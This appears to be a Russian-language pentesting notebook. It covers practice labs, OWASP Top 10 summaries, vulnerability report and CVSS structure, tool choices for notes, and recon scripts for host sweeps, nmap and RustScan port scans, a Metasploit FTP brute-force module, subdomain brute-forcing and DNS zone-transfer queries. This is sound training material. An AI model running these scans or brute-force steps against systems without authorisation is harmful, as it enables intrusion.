Информационная безопасность


Стартовая информация и утилиты

Ссылки

Бесплатный курс на Stepik

Git шпаргалка по разделам

Еще один интересный ресурс

Уязвимые сборки для тренировок

  1. bWAPP — бесплатное уязвимое веб-приложение с открытым исходным кодом, идеально подходит для изучения разных видов атак в контролируемой среде. 
  2. Damn Vulnerable Web Application (DVWA) — классика для отработки навыков пентеста с уровнями сложности и разнообразными веб-уязвимостями. 
  3. Damn Vulnerable Web Services — платформа для изучения уязвимостей веб-сервисов с практикой. 
  4. OWASP Broken Web Applications Project — набор уязвимых веб-приложений для комплексной тренировки.
  5. OWASP Mutillidae II — учебное веб-приложение с широким спектром уязвимостей и настройками безопасности. 
  6. Samurai Web Testing Framework — специализированный фреймворк для тестирования веб-уязвимостей с готовым окружением. 
  7. Web Security Dojo — обучающее окружение с набором инструментов и уязвимых приложений для практики.

Общие шаги по проникновению

Этапы, которые проходит пентестер:

 На какие вопросы мы отвечаем в этом процессе:

Результирующие данные

  1. Доменные имена, принадлежащих организации
  2. “Живые” хосты в сети и составления списка их IP-адресов
  3. Определение актуального статуса сетевых портов узлов из списка
  4. Определение типа и версии операционной системы на исследованных машинах
  5. Определение версий ПО или служб, которые находятся на сетевых портах
  6. Сбор информации об используемых технологиях на веб-сайте

Атаки первичного доступа

Атака первичного доступа (англ. Initial Access Attack) — это попытка несанкционированного доступа к системе, сети или приложению, с целью получить начальный уровень доступа и проникнуть в них.

Уязвимости — это слабые места в системе или приложении, которые могут быть использованы злоумышленниками для проведения атак.

Фишинг (Phishing) — это метод социальной инженерии, при котором злоумышленник пытается получить доступ к чужой информации, обманывая пользователей с помощью поддельных веб-сайтов, электронных писем или сообщений.

Фишинговый сервис — это специальный инструмент, который используется для проведения фишинг-атак.

Отказ в обслуживании ( англ. denial-of-service attack (DoS) ) — атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых пользователи системы не смогут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ будет затруднён.

Атака «человек посередине» (англ. Man in the middle (MiTM)) — вид атаки в компьютерной безопасности, когда злоумышленник тайно ретранслирует и при необходимости изменяет связь между двумя сторонами, которые считают, что они непосредственно общаются друг с другом.

Инъекция команд ОС (shell инъекция) — уязвимость веб-приложений, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором запущено приложение, и, как правило, дает возможность полностью скомпрометировать приложение и все его данные.

Обратный путь в каталогах (Path Traversal) — уязвимость веб-безопасности, позволяющая злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Сюда могут входить разные данные: код приложения, учетные данные для внутренних систем и конфиденциальные файлы операционной системы.

Инъекция внешних сущностей XML (также известная как XXE) — это уязвимость веб-безопасности, позволяющая злоумышленнику вмешиваться в обработку XML-данных приложения. Часто она позволяет злоумышленнику просматривать файлы на файловой системе сервера приложений, а также взаимодействовать с любыми внутренними или внешними системами, к которым имеет доступ само приложение.

В большом числе случаев злоумышленник может усилить атаку XXE для компрометации основного сервера или другой внутренней инфраструктуры, используя уязвимость XXE для выполнения атак на подделку запроса на стороне сервера (SSRF).

Межсайтовый скриптинг (также известный как XSS) — это уязвимость веб-безопасности, позволяющая злоумышленнику компрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет злоумышленнику обходить политику одного источника (Same Origin Policy (SOP)), которая предназначена для разделения различных веб сайтов друг от друга.

Цели первичных атак:

Главная цель на этом этапе — попасть в закрытую сеть заказчика.

Векторы атак:

Стратегии атак:

Результатом является постоянный доступ к скомпрометированным системам с привилегированными правами управления  (действующие учетные записи, возможность управления исполнением кода или команд в системе, доступ к внесению изменений в системы сети компании).

Black hat bash

Из одноименной книги "BLACK HAT BASH Creative Scripting for Hackers and Pentesters by Dolev Farhi and Nick Aleks"

Portswigger Academy CTF багбаунти


Тестовые контейнеры

cd ~/Black-Hat-Bash/lab/ 
sudo make deploy
deploy Собрать образы и запустить контейнеры
teardown Остановить контейнеры
rebuild clean up + deploy
cleanup Остановить и удалить контейнеры и образы
status Текущий статус
init Первая инициализация окружения и инструментов

 

OWASP TOP 10

OWASP TOP 10

Общее описание

Проект Open Worldwide Application Security Project (OWASP) - это открытое сообщество, призванное предоставить организациям возможность разрабатывать, приобретать и обслуживать приложения и API, которым можно доверять.

Это минимум для оценки защищенности. Одна из трудностей использования OWASP Top 10 в качестве стандарта заключается в  документации рисков и проблем, которые не всегда легко поддаются тестированию.

Выбор между Top 10 и OWASP Application Security Verification Standard

Use Case OWASP Top 10 2021 OWASP Application Security Verification Standard
Осознание Да  
Тренировка Базовый уровень Комплексный
Дизайн и архитектура Изредка Да
Стандарт программирования Минимум Да
Проверка защищенного кода Минимум Да
Контрольный список для экспертной оценки Минимум Да
Модульное тестирование Изредка Да
Интеграционное тестирование Изредка Да
Тестирование на проникновение Минимум Да
Поддержка инструментов Минимум Да
Secure Supply Chain Изредка Да

A01:2021 – Нарушение контроля доступа

Контроль доступа обеспечивает соблюдение политики таким образом, что пользователи не могут действовать за пределами своих предполагаемых разрешений. Распространенные уязвимости системы контроля доступа включают:

Контроль доступа эффективен только в доверенном серверном коде или бессерверном API, где злоумышленник не может изменить проверку контроля доступа или метаданные.

Способы защиты:

Список CWE

A02:2021 – Ошибки в организации шифрования

Суть проблемы в отсутствии дополнительной защиты у критичных данных (при передаче и во время хранения). После определения критичных данных, необходимо ответить на вопросы:

Минимальные действия:

Список CWE

A03:2021 – Инъекции

Приложение уязвимо для атаки, когда: 

Некоторые из наиболее распространенных способов внедрения - это внедрение SQL, NoSQL, команд операционной системы, объектно-реляционного отображения (ORM), LDAP и языка выражений (EL) или библиотеки навигации по объектному графу (OGNL). Концепция одинакова для всех интерпретаторов. Проверка исходного кода - лучший способ определить, уязвимо ли приложение для инъекций. Настоятельно рекомендуется автоматическое тестирование всех параметров, заголовков, URL-адресов, файлов cookie, JSON, SOAP и XML для ввода данных. Организации могут включать средства статического (SAST), динамического (DAST) и интерактивного (IAST) тестирования безопасности приложений в конвейер CI/CD для выявления внедренных ошибок перед развертыванием в рабочей среде.

Минимальные действия:

Список CWE

A04:2021 – Небезопасная архитектура ПО

Риски, связанные с недостатками дизайна и архитектуры. Желательно моделирование угроз, безопасные шаблоны проектирования и эталонные архитектуры. Необходим переход к предварительному кодированию, которое имеет решающее значение для принципов Secure by Design. 

Небезопасный дизайн - это широкая категория, представляющая различные слабые места, которые выражаются как “отсутствующий или неэффективный дизайн элементов управления”. Небезопасный дизайн не является источником всех остальных 10 основных категорий рисков. У недостатков проектирования и дефектами реализации разные первопричины и способы устранения. В защищенном проекте все еще могут быть дефекты реализации, приводящие к уязвимостям, которые могут быть использованы. Небезопасный дизайн не может быть исправлен с помощью идеальной реализации, поскольку по определению никогда не создавались необходимые средства контроля безопасности для защиты от конкретных атак. Одним из факторов, способствующих небезопасному проектированию, является отсутствие профилирования бизнес-рисков, присущих разрабатываемому программному обеспечению или системе, и, следовательно, неспособность определить, какой уровень безопасности требуется для проектирования.

Необходимо собрать и согласовать с заказчиком бизнес-требования к приложению, включая требования к защите, касающиеся конфиденциальности, целостности, доступности и подлинности всех ресурсов данных и ожидаемой бизнес-логики. Примите во внимание, насколько уязвимым будет ваше приложение и требуется ли вам разделение клиентов (в дополнение к контролю доступа). Составьте технические требования, включая функциональные и нефункциональные требования к безопасности. Спланируйте и согласуйте бюджет, охватывающий все этапы проектирования, сборки, тестирования и эксплуатации, включая мероприятия по обеспечению безопасности.

Безопасное проектирование - это культура и методология, которые постоянно оценивают угрозы и обеспечивают надежную разработку и тестирование кода для предотвращения известных методов атаки. Моделирование угроз должно быть интегрировано в сеансы доработки (или аналогичные мероприятия); следите за изменениями в потоках данных и контроле доступа или других элементах управления безопасностью. При разработке пользовательской истории определите правильный поток операций и состояния сбоев, убедитесь, что они хорошо поняты и согласованы ответственными и затронутыми сторонами. Проанализируйте допущения и условия для ожидаемых потоков и потоков сбоев, убедитесь, что они по-прежнему точны и желательны. Определите, как проверить допущения и обеспечить соблюдение условий, необходимых для правильного поведения. Убедитесь, что результаты задокументированы в истории пользователя. Учитесь на ошибках и предлагайте позитивные стимулы для продвижения улучшений. Безопасное проектирование - это не дополнение и не инструмент, который вы можете добавить в программное обеспечение.

Жизненный цикл безопасной разработки
Безопасное программное обеспечение требует безопасного жизненного цикла разработки, определенной формы безопасного шаблона проектирования, методологии разработки, библиотеки защищенных компонентов, инструментария и моделирования угроз. Обращайтесь к своим специалистам по безопасности в начале разработки программного обеспечения на протяжении всего проекта и сопровождения вашего программного обеспечения. Рассмотрите возможность использования модели зрелости OWASP Software Assurance (SAMM) для структурирования ваших усилий по разработке безопасного программного обеспечения.

Минимальные действия:

Примеры CWE

A05:2021 – Неправильная настройка системы безопасности

Уязвимость может присутствовать, если:

Минимальные действия:

Примеры CWE

A06:2021 - Уязвимые и устаревшие компоненты

Система уязвима, если:

Минимальные действия:

Должен существовать процесс управления исправлениями, позволяющий:

Примеры CWE

A07:2021 – Сбои идентификации и аутентификации

Подтверждение личности пользователя, аутентификации и управления сеансами имеет решающее значение для защиты от аутентификации, связанных с нападениями. Там могут быть недостатки аутентификации, если:

Минимальные действия:

Список CWE

A08:2021 – Сбои в обеспечении целостности программного обеспечения и данных

Сбои в целостности программного обеспечения и данных связаны с кодом и инфраструктурой, которые не защищают от нарушений целостности. Примером этого может служить ситуация, когда приложение использует плагины, библиотеки или модули из ненадежных источников, репозиториев и сетей доставки контента (CDN). Небезопасный конвейер CI/CD может привести к несанкционированному доступу, вредоносному коду или компрометации системы. Наконец, многие приложения теперь включают функцию автоматического обновления, при которой обновления загружаются без достаточной проверки целостности и применяются к ранее доверенному приложению. Злоумышленники потенциально могут загружать свои собственные обновления для распространения и запуска на всех установках. Другой пример - когда объекты или данные кодируются или сериализуются в структуру, которую злоумышленник может увидеть и изменить, и которая уязвима для небезопасной десериализации.

Минимальные действия:

A09:2021 – Ведение журнала безопасности и мониторинг сбоев

Эта категория призвана помочь в обнаружении активных нарушений, их эскалации и реагировании на них. Без ведения журнала и мониторинга нарушения не могут быть обнаружены. В любое время возникают проблемы с ведением журнала, обнаружением, мониторингом и активным реагированием:

Минимальные действия:

A10:2021 – SSRF

Ошибки SSRF возникают всякий раз, когда веб-приложение извлекает удаленный ресурс без проверки указанного пользователем URL-адреса. Это позволяет злоумышленнику заставить приложение отправить созданный запрос в неожиданное место назначения, даже если оно защищено брандмауэром, VPN или другим типом списка контроля доступа к сети (ACL).

Поскольку современные веб-приложения предоставляют конечным пользователям удобные функции, поиск URL-адреса становится обычным делом. В результате частота SSRF растет. Кроме того, из-за облачных сервисов и сложности архитектур возрастает опасность SSRF.

Минимальные действия:

OWASP TOP 10

A01:2021 – Broken Access Control

Алгоритм проверки

1. Сбор информации

2. Проверка 'горизонтального повышения привилегий' (Один пользователь получает доступ к данным другого)

3. Проверка 'вертикального повышения привилегий' (Обычный пользователь получает права администратора)

4. Проверка обхода контроля доступа

5. Проверка для API

6. Проверка хранения сессий и токенов

7. Фиксация результатов

Для каждой проверки:

* **URL / endpoint**
* **Метод и параметры**
* **Ожидаемое поведение** (например, отказ в доступе)
* **Фактическое поведение** (например, доступ разрешен)
* **Уровень риска** (High/Medium/Low)
* **Рекомендации** (RBAC, проверка ACL на сервере, строгая валидация ID и токенов)

Практическая реализация

Вот предложенный алгоритм проверки. Однако за этим (на самом деле стартовым) алгоритмом скрываются следующие вопросы: 

Разделим на black box и white box. 

Например есть некий сервер. Начнем с директории с файлами и посмотрим, насколько это будет удобно. 

1. Сбор информации. Определить роли в системе (guest, user, admin, API client).

 

Отчет по уязвимостям

Отчет по уязвимостям

Общая информация

Начало - договор об оказании услуги. В нем указываются юридические, технические, временнЫе, ... рамки и ограничения, ответственность сторон. Часть вышеуказанной информации попадает в отчет.

Основа хорошего отчета закладывается перед началом тестирования. 

Тестирование бывает White box (Организация предоставляет все данные) и Black box (тестирование вслепую). 

Оценка уязвимостей и составление отчета

Перед постановкой задачи устранения уязвимости необходимо:

  1. Пересчитать критичность уязвимости с учетом "веса" активов и исключений. Добавление исключений должен быть формализован, и включать в себя согласование исключений и регулярный пересмотр. Для пересчета критичности может использоваться фреймворк CVSS.
  2. Убедиться, что уязвимость присутствует на самом деле. 
  3. Определить владельца актива, который будет ответственным за устранение проблемы.

Примечание: Результаты отчета по уязвимостям содержат чувствительные данные, поэтому отчет должен храниться в защищенном месте и иметь строго ограниченный доступ только для тех лиц, которым он предназначен.

Типы отчетов

Внутренние требования

Шаг 1. Выбор стандарта оценки уязвимостей. Стандарт CVSS v3 используется для оценки технической серьезности уязвимости. Стандарт OWASP Risk Rating Methodology используется для оценки рисков web приложения для бизнеса. Иногда рекомендуют использовать оба стандарта.

Шаг 2. Используемая среда / правила оформления / способ хранения информации о найденных уязвимостях. Упоминаются Dradis, CherryTree, OneNote. В правилах оформления определяется набор данных для каждой уязвимости (например дата и время проведения, скриншоты, формат описания последовательности действий). 

Вариант структуры.

1 Всту­питель­ная часть
1.1 Клас­сифика­тор най­ден­ных уяз­вимос­тей
2. Общее опи­сание про­делан­ной работы
3. Тех­ничес­кий отчет
4. Рекомен­дации по устра­нению уяз­вимос­тей

Вступительная часть
Фак­ты, извес­тные исполнителю и заказ­чику до начала работ. К ним отно­сят­ся: дата про­веде­ния пен­теста, методи­ка, которая применя­лась (очень крат­ко), основные эта­пы тес­тирова­ния, перечень сис­тем для тес­тирова­ния и исклю­чения из объ­ема работ, перечень узлов, а так­же методи­ки, которые исполнитель обя­зуется не при­менять (соци­аль­ную инже­нерию или ата­ки на отказ в обслу­жива­нии).

Классификатор уязвимостей
Таб­лица необ­ходима для понимания кри­тери­ев опре­деления кри­тич­ности уяз­вимос­тей, а так­же тот ущерб, который они могут нанес­ти в слу­чае успешной реали­зации.

В зак­лючении всту­питель­ной час­ти необходимо описать уточнения договора, акту­ализированные на эта­пе тес­тирова­ния. Нап­ример, просьба обратить осо­бое вни­мание на какой‑то новый сер­вис, который появил­ся за неделю до начала тес­тирова­ния, или, наобо­рот, в пос­ледний момент поп­росил исклю­чить из иссле­дова­ния веб‑при­ложе­ние, уяз­вимос­ти в котором наш­ли сво­ими силами бук­валь­но за день до начала работ и которое собира­ются капиталь­но дорабо­тать преж­де, чем вновь показы­вать поль­зовате­лям.

Общее описание проделанной работы
Этот раз­дел дол­жен содер­жать зна­чимую для руково­дите­лей ком­пании‑заказ­чика информа­цию о про­делан­ной работе и ее резуль­татах. Глав­ные тре­бова­ния, предъ­явля­емые к нему, — понят­ность и крат­кость. Сам отчет может рас­тянуть­ся на десят­ки, если не сот­ни стра­ниц. Руково­дитель не всег­да готов читать докумен­тацию такого объ­ема, и зачас­тую в этом нет необ­ходимос­ти. Глав­ное — понять кри­тичес­ки важ­ные резуль­таты для при­нятия даль­нейших решений. Наша задача в этом раз­деле — зав­ладеть вни­мани­ем читате­ля с любым уров­нем под­готов­ки, опи­сать общую ситу­ацию и сооб­щить о наибо­лее зна­чимых выводах.

Технический отчет
Пред­назна­чен для тех­ничес­ких спе­циалис­тов. В нем мы, как инже­неры, объ­ясня­ем дру­гим тех­ничес­ким спе­циалис­там, что мы наш­ли при тес­тирова­нии и чем это может гро­зить.

Вариант - отчет в виде кар­точек по най­ден­ным уяз­вимос­тям с раз­делами:

Крат­кое опи­сание най­ден­ного. Прос­то и дос­тупно опи­сыва­ем, что уда­лось най­ти, что прив­лекло наше вни­мание.
Уро­вень рис­ка. Прос­тавля­ем бал­лы по той шка­ле, о которой говори­лось ранее.
Ука­зание мес­тонахож­дения в сис­теме. Ука­зыва­ем IP-адрес, DNS-имя или что‑то, что однознач­но иден­тифици­рует сис­тему.
Опи­сание инс­тру­мен­тария. Это необя­затель­ный пункт, но он может очень помочь инже­нерам со сто­роны заказ­чика, ког­да они решат вос­про­извести твои дей­ствия.
Ссыл­ка на опи­сание уяз­вимос­ти. Что­бы чрез­мерно не уве­личи­вать раз­меры отче­та, рекомен­дуем сде­лать внеш­ние ссыл­ки на опи­сания уяз­вимос­тей из откры­тых баз зна­ний. Выб­рать мож­но любую,  нап­ример cve.mitre.org, cvedetails.com, snyk.io или rapid7.com.
Скрин­шоты и дру­гие под­твержде­ния. Скрин­шоты нуж­но добав­лять толь­ко при усло­вии, что они наг­лядно что‑то объ­ясня­ют.
Ре­комен­дации, как испра­вить уяз­вимость. В этом раз­деле нуж­но при­вес­ти рекомен­дации про­изво­дите­ля уяз­вимого прог­рам­мно­го обес­печения или свои собс­твен­ные. В любом слу­чае ответс­твен­ность за устра­нение уяз­вимос­тей лежит на заказ­чике и толь­ко ему решать, как они будут устра­нены и будут ли.

СVSS (Common Vulnerability Scoring System)

Открытый стандарт, позволяющий описывать уязвимости. Пример: 

AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS состоит из трех групп метрик, которые описывают уязвимость:

Базовая группа

В версии CVSS 3.0 сюда входят следующие метрики:

Метрика Описание
AV (Attack Vector)

вектор атаки. Варианты:

  • N сетевой (Network)
  • A локальная сеть (Adjacent)
  • L локальный (Local)
  • P физический (Physical).
AC (Attack Complexity)

сложность атаки. Варианты:

  • H высокая. необходимо выполнение доп. условий для эксплуатации уязвимости
  • M средняя
  • L низкая 
PR (Privileges Required)

привилегии для эксплуатации уязвимости. Варианты:

  • N (None, привилегии не нужны), 
  • L (Low, нужны низкие привилегии, например права пользователя)
  • H (High нужны высокие привилегии) 
UI (User Interaction)

необходимость пользовательского взаимодействия. Варианты:

  • N (None, взаимодействие не требуется)
  • R (Required, требуется)
S (Scope)

граница эксплуатации. Показывает, может ли уязвимость повлиять на безопасность другого компонента системы. Варианты:

  • U (Unchanged, граница не меняется)
  • C (Changed, меняется)

Например, уязвимость побега из контейнера, позволяющая выполнить код на хосте будет иметь свойство S:C.
C (Confidentiality)

затрагивает ли уязвимость конфиденциальность информации. Варианты:

  • H высокий
  • M средний
  • L низкий
I (Integrity) затрагивает ли уязвимость целостность информации. Варианты:
  • H высокий
  • M средний
  • L низкий
A (Availability) затрагивает ли уязвимость доступность информации. Варианты:
  • H высокий
  • M средний
  • L низкий

Временная группа

Метрика Описание
E (Exploit Code Maturity)

доступность средств эксплуатации. Варианты:

  • ND/X (Not Defined не определено)
  • H (High средства доступны или не требуются) 
  • F (Functional средства доступны)
  • POC/P (Proof-of-Concept есть пример эксплуатации, но он может не работать)
  • U (Unproven средства недоступны или уязвимость теоретическая)
RL (Remediation Level)

уровень исправления. Очень важная для приоритезации метрика.

  • ND/X (Not Defined информация отсутствует)
  • U (Unavailable исправление недоступно)
  • W (Workaround есть неофициальное исправление)
  • FT/T (Temporary Fix есть официальное, но временное решение)
  •  OF/O (Official Fix официальное исправление уязвимости)
RC (Report Confidence)

достоверность отчета.

  • X (Not Defined не определена)
  • U (Unknown нет информации)
  • R (Reasonable известны некоторые детали об уязвимости)
  • C (Confirmed отчет подтвержден)

Переменные среды

Данные параметры проставляются аналитиком для корректировки оценки уязвимости. Например, если для компании важна доступность какого-либо актива, то специалист может выставить параметр Availability Requirement (AR) в значение High(H).

Метрика Описание
CR (Confidentiality Requirement) требования к конфиденциальности. Варианты:
  • H высокий
  • M средний
  • L низкий
  • ND/X не определены
IR (Integrity Requirement) требования к целостности. Варианты:
  • H высокий
  • M средний
  • L низкий
  • ND/X не определены
AR (Availability Requirement) требования к доступности. Варианты:
  • H высокий
  • M средний
  • L низкий
  • ND/X не определены

Итоговая оценка

После определения метрик по стандарту CVSS рассчитывается итоговая оценка уязвимости, которая считается по шкале от 0 до 10, где 0 — отсутствие уязвимости, а 10 — максимально критичный приоритет. Формула расчета достаточно сложная, проще библиотеками python или калькулятором. 

Источники:

Статья на Хакере

CVSS V 3.1 Calculator

Отчет по уязвимостям

Система хранения информации

После пробных не-лабораторных задач пришел к выводу о необходимости хранения информации о процессе. Вот вроде все просто и должно было уже давно быть отработано - но не тут-то было. Оказалось несколько иначе. Редакторов крайне много, и выбор сильно усложняется. А если добавить требования например к API - вылетают почти все)

Начнем с разделения на удобство создания отчета и удобство хранения технической информации. Потом попробую объединить эти аспекты. 

Список редакторов после общего поиска

Рекомендация из статьи по документации:

Совместная работа

Еще CryptPad https://cryptpad.org/ для безопасности.

Также хранение данных в msf или burp enterprize edition.

Требования

Общие или особенности

Название Описание Приоритет
Начальный уровень подготовки Высокий. Иначе в хакеры не идут.
Многопользовательский режим Вариант локального хранения файлов + git вполне может сработать. 
Одновременное редактирование Хз. Для блока не встречал необходимость.
Динамическое обновление

Время запуска и настройки Серьезная проблема.
Время изучения Основная проблема. Должно быть минимизировано.
Процент выполнения блока При большом объеме данных может быть критично. 
Дополнительное ПО На примере msf необходим гибридный подход. Локальное использование должно быть из коробки.
Локальное / браузер Портирование затратная процедура. Но скорость должна быть высокой.
Визуализация отчета online Возможно для корпоративных версий.

Редактор

Название Описание Приоритет
Шаблоны Шаблоны в целом для документа и для блоков. 0
Модификация символов Мне хватает жирного шрифта и 3 вариантов размера.
Цвета текста и выделения

Списки

Ссылки

Таблицы

Рисунки

Выравнивание текста 4 варианта

Интеграции, импорт / экспорт

Название Описание Приоритет
Текстовые файлы Самое логичное - одна строка в блок данных (столбец таблицы). Но только данных. Экспорт оформления в txt бессмысленно. 0
JSON / XML / ... Сохранение проекта. 1
msf Важно, однако здесь есть вопросы. 2
Остальные приложения По возможности. Однако чем больше - тем выше скорость работы. Хотя небольшой скрипт решит вопрос преобразования данных в нужный формат. 2
API Крайне желательно. Инструменты разные.
Импорт шаблона из word Звучит круто, но практически может и не нужно.

Сначала пришел к выводу, что для локальных данных вполне подойдет cherrytree. Однако после целого дня попыток подключить python скрипты выяснилось - уже нельзя.

Затем пришел к выводу: возможно, хватит и простого редактора, как в VSC, и скриптов для шаблонизации. Хранить данные в текстовом виде, git через консоль, отчет по стандартным файлам из шаблона при помощи скрипта. Интеграция в этом случае простейшая, В качестве развития - что-то типа msfconsole, но для создания отчета. С одной стороны, сохраняется гибкость в хранении данных (всегда можно добавить отсутствующие блоки в данные). Прямой доступ к данным, txt читаются всеми. Интеграция с любым инструментом, было бы желание. Будут проблемы с общим доступом, однако и это можно обойти за счет периодических коммитов. Красивый отчет из известных путей через скрипт - без проблем, поэтому хватит хранения в виде дерева, итоговые данные в текстовом виде, одна строка - один элемент. Остается вопрос стандартизации хранения. 

Сравнив ряд редакторов (Kate, Zed, Notepadqq, gedit) пришел к выводу: gedit. Легкий, без проблем в Kali, тестируем!

Gedit

sudo apt install gedit gedit-plugins

Настройка.

В меню Вид нужно включить отображение боковой панели и нижней панели.

В разделе Параметры - Модули устанавливаем "Встроенный терминал". После этого появляется возможность быстрого исполнения скриптов или запуска консоли (план на будущее). Из минусов - терминал открывается в домашней папке, в нем тоже нужно перейти в папку проекта.

Для боковой панели по умолчанию включен режим Документы. Нужно переключиться в режим Обозреватель файлов, при открытии папки проекта открыть любой файл корня проекта и ПКМ - установить корень на активный документ. 

 

Отчет по уязвимостям

Структура информации при пентесте

Общие мысли

DNS

Задача Для списка доменов сохранить поддомены.
Критерии качества

Различные ip адреса для поддоменов.
Входные данные Список доменных имен. Формат: в каждой строке отдельное доменное имя.
Промежуточные данные Логи из разных инструментов.
Результат Список для передачи следующим инструментам. Дополнительные параметры - ip адреса, нужен ли в отчете, комментарии

Структура папок:

dns/ Корневая папка для хранения dns.
dns/list.txt Файл списка доменных имен для поиска.
dns/subdomains_*.txt Список поддоменов.
dns/template.doc Шаблон отчета.
dns/raw/ Папка хранения результатов внешних инструментов. Все *.txt файлы считаются результатами.

Задачи консоли:

dns create Создать структуру директории и файлы
dns delete Удалить раздел

Сформировать из сырых файлов непересекающийся список

Скопировать поддомены в список доменов для поиска доменов следующего уровня
dns report Сформировать раздел отчета на основании шаблона

IP

OSINT & ручной поиск адресов


OSINT & ручной поиск адресов

Поиск хостов и открытых портов

Список адресов.

#!/bin/bash

for ip in $(seq 1 254); do
  echo "172.16.10.${ip}" >> 172-16-10-hosts.txt
done
echo 10.1.0.{1..254} | sed 's/ /\n/g'

Поиск хостов.

Доступность IP хостов по ping 

#!/bin/bash

FILE=$1
while read -r host; do
  if ping -c 1 -W 1 -w 1 "${host}" &> /dev/null; then
    echo "${host} is up."
  fi
done < "${FILE}"

Через nmap, работает гораздо быстрее.

nmap -sn 172.16.10.0/24 | grep "Nmap scan" | awk -F'report for ' '{print $2}'

 ARP сканирование 

sudo arp-scan -f 172-16-10-hosts.txt -I br_public | grep '^[0-9]\+\.[0-9]*' | awk '{print $1}'

Поиск новых адресов в локальной сети

#!/bin/bash

KNOWN_HOSTS='172-16-10-scanning-hosts.txt'
NETWORK='172.16.10.0/24'
INTERFACE='br_public'

while true; do
  echo "Сканируем сеть ${NETWORK}..."
  sudo arp-scan -x -I ${INTERFACE} ${NETWORK} | while read -r line; do
    host=$(echo "${line}" | awk '{print $1}')
    if ! grep -q "${host}" "${KNOWN_HOSTS}"; then
      echo "Found new host: ${host}!"
      echo "${host}" >> "${KNOWN_HOSTS}"
      source senderscripts/tgsender.sh "Найден хост ${host}!"
    fi
  done
  sleep 10
done

Также на странице NMAP

Сканирование портов

Nmap

nmap ip/dns ip/dns

По умолчанию:

Параметр Значение
-iL file список хостов из файла
-sV версия сервиса на порту
-oG -

Информация в формате удобном для парсинга

Host: 172.16.10.10 () Ports: 8081/open/tcp//blackice-icecap/// Ignored-state: closed (999)

Несколько портов:

Host: 172.16.10.11 ()   Ports: 21/open/tcp//ftp///, 80/open/tcp//http///  Ignored State: closed (998)
--open выводить только открытые порты
--exclude исключения из списка

Пример вывода: 

Nmap scan report for 172.16.10.13
Host is up (0.000031s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
MAC Address: FA:85:E8:7D:68:EE (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

RustScan

Работает гораздо быстрее nmap, однако выводит только открытые порты без определения сервиса.

Параметр Значение
-a ip/mask Адрес или адрес сети
-g Только информация по сканированию
-r start-end

Диапазон портов

-r 1-1024

$ rustscan -g -a 172.16.10.0/24 -r 1-1024 | awk -F'->' '{print $1,$2}' | tr -d '[]'

Netcat

Чаще используют для проверки одного порта. 

nc -zv 172.16.10.11 1-1024

(UNKNOWN) [172.16.10.11] 80 (http) open
(UNKNOWN) [172.16.10.11] 21 (ftp) open

-z только вывод результатов, 

Metasploit

Поиск сканеров: 

msf > search portscan
auxiliary/scanner/portscan/tcp
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_login Нужно указать словарь подбора.
auxiliary/scanner/ftp/anonymous Поиск открытого доступа

Также для samba


Организация хранения результатов сканирования

Можно сохранять данные для каждого IP в отдельном файле или в зависимости от версии программ. 

Пример для каждого открытого порта свой файл со списком адресов.

#!/bin/bash

HOSTS="172-16-10-scanning-hosts.txt"
nmap -iL ${HOSTS} --open -oG - | grep Ports: | while read -r line; do
  curip=$(echo $line | awk {'print $2'})
  echo $line | grep -oP '( \d+)(?=/)' | while read -r curport; do
    echo $curip >>  port-${curport}.txt
  done
done

OSINT & ручной поиск адресов

Поиск доменных имен

Активный поиск

Запросы к DNS-cервису организации

1. Опрос DNS сервиса на известные ему записи раскрывающие доменные имена, связанные с доменом 2-го уровня. Т.е. выполнение запросов к таким DNS записям, как: CNAME, MX, NS, SRV и т.д. Подробнее

A – используется для указания доменного имени, например, testdomain.com, на IP-адрес его хост-сервера;
MX – записи, отвечающие за обмен электронной почтой;
NS – предназначены для идентификации DNS-серверов, ответственных за домен;
SRV – записи для выделения службы, размещенной на определенных серверах;
PTR – обратный поиск DNS: с помощью IP вы можете получить связанный с ним домен;
SOA – начало записи: это информация о зоне DNS и других записях DNS;
CNAME – сопоставляет целевое доменное имя с другим доменным именем.

Чтобы получить записи всех типов можно использовать тип запроса ANY 

┌──(kali㉿kali)-[~]
└─$ nslookup -q=ANY cyber-ed.ru 8.8.8.8
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   cyber-ed.ru
Address: 178.154.245.151
cyber-ed.ru     nameserver = ns2.reg.ru.
cyber-ed.ru     nameserver = ns1.reg.ru.

Authoritative answers can be found from:


┌──(kali㉿kali)-[~]
└─$ nslookup -q=ANY cyber-ed.ru ns1.reg.ru
Server:         ns1.reg.ru
Address:        194.58.117.17#53

Name:   cyber-ed.ru
Address: 178.154.245.151


2. Перебор доменных имен. Делаем или используем готовый список возможных поддоменов и опрашиваем DNS сервис в формате слово.example.com. Есть списки часто используемых поддоменов. Называются gists. В Kali они есть по /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt Или можно в google "subdomain wordlist site:gist.github.com".

#!/bin/bash

DOMAIN=$1
FILE=$2

while read -r subdomain; do
  echo "${subdomain}.${DOMAIN}"
done < "${FILE}" > ${DOMAIN}.txt

Пример использования утилиты subfinder со стандартным словарем для перебора доменных имен:  

subfinder -d cyber-ed.ru

В kali они называются gists. Есть скрипт в Black hat bash

Последняя версия через docker: 

docker run projectdiscovery/subfinder:latest -d cyber-ed.ru

3. Выполнение запроса AXFR. AXFR запрос, или Zone transfer — это процесс передачи копии базы данных с DNS-зоной от главного сервера к вторичному. В идеале трансфер зоны ограничен только для определенных доверенных серверов, но неправильно сконфигурированные серверы разрешают трансферы любому, кто их попросит.

Пример выполнения такого запроса: nslookup -q=AXFR example.com (зачастую требует указания конкретного DNS-сервера, к которому будет отправлен запрос).

─$ nslookup -q=AXFR cyber-ed.ru ns1.reg.ru
Server:         ns1.reg.ru
Address:        176.99.13.15#53

** server can't find cyber-ed.ru: NOTAUTH
; Transfer failed.

4. amass

amass enum -d <host>

